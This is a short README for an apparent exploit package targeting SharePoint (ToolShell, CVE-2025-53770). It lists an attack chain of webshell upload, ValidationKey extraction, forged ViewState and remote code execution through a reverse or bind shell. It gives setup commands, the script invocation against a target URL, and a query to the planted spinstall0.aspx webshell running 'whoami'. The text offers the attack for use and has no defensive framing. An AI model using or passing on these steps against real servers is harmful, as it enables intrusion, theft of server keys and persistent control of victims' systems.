ToolShell → CVE‑2025‑53770 Exploit PoC

This package allows:

1. Upload webshell to SharePoint
2. Extract ValidationKey
3. Generate signed ViewState
4. RCE via reverse/bind shell

🔧 Setup

git clone <this-repo>
cd toolshell-exploit
pip3 install -r requirements.txt

🤖 Running

Upload the webshell

From a SharePoint page you can access the page source .Just go to view source tab and From there if available you would get following, which can copy:

A) __VIEWSTATEGENERATOR

B) __EVENTVALIDATION

C) (any current __VIEWSTATE for context)

python3 toolshell_exploit.py \
  --target https://sharepoint.local \
  --viewstate "<any_BASE64_VIEWSTATE>" \
  --generator "<VIEWSTATEGENERATOR>" \
  --eventval "<EVENTVALIDATION>"

This uploads spinstall0.aspx. Check: https://sharepoint.local/_layouts/15/spinstall0.aspx?cmd=whoami